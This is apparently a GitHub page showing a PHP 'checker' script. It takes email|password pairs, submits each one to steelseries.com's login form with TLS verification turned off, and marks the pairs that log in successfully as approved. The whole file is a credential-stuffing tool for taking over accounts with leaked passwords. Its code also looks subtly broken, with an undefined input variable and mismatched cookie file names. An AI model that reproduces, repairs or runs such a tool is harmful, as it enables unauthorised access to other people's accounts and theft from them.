-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathbase_checker.php
More file actions
64 lines (50 loc) · 2.18 KB
/
base_checker.php
File metadata and controls
64 lines (50 loc) · 2.18 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php
session_start();
function getStr($string,$start,$end){
$str = explode($start,$string);
$str = explode($end,$str[1]);
return $str[0];}
{
$separador = "|";
$e = explode("\r\n", $lista);
$c = count($e);
for ($i=0; $i < $c; $i++) {
$explode = explode($separador, $e[$i]);
Testar(trim($explode[0]),trim($explode[1]));}
}
function Testar($email,$senha){
if (file_exists(getcwd()."/cookies.txt")) {
unlink(getcwd()."/cookies.txt");}
$time = time();
//___________________________________//
// 1 LOGIN //
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://steelseries.com/login');
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Host: https://steelseries.com',
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Sec-Fetch-Dest: document',
'Content-Type: application/x-www-form-urlencoded',
'origin: https://steelseries.com',
'Sec-Fetch-Site: same-origin',
'Sec-Fetch-Mode: cors',
'X-Requested-With: XMLHttpRequest',
'referer: https://steelseries.com/login'));
curl_setopt($ch, CURLOPT_ENCODING, 'gzip');
curl_setopt($ch, CURLOPT_USERAGENT, $_Server['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().'/cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().'/cookie.txt');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'csrfmiddlewaretoken=mkO9zqTus5kbPHx3dB76LoRkvBQErOsBoP09RroDZmbGu7xcnHsUTYSGBo8ygnbL&next=&email='.$email.'&password='.$senha.'');
$data1 = curl_exec($ch);
if (strpos($data1, 'https://br.steelseries.com/dashboard')){
exit('#APROVADA '.$email.'|'.$senha.'/');}
else if (strpos($data1, 'Invalid password')){
exit('<b><span class="badge badge-success">#Reprovada > </span> '.$email.'|'.$senha.'| #Clyde');}
else{
exit('<b><span class="badge badge-danger">#Aprovada</span> ➜ '.$email.'|'.$senha.' ➜ <span class="badge badge-white">Desconhecido</span> ➜ ' . (time() - $time) . ' Seg</b><br>');}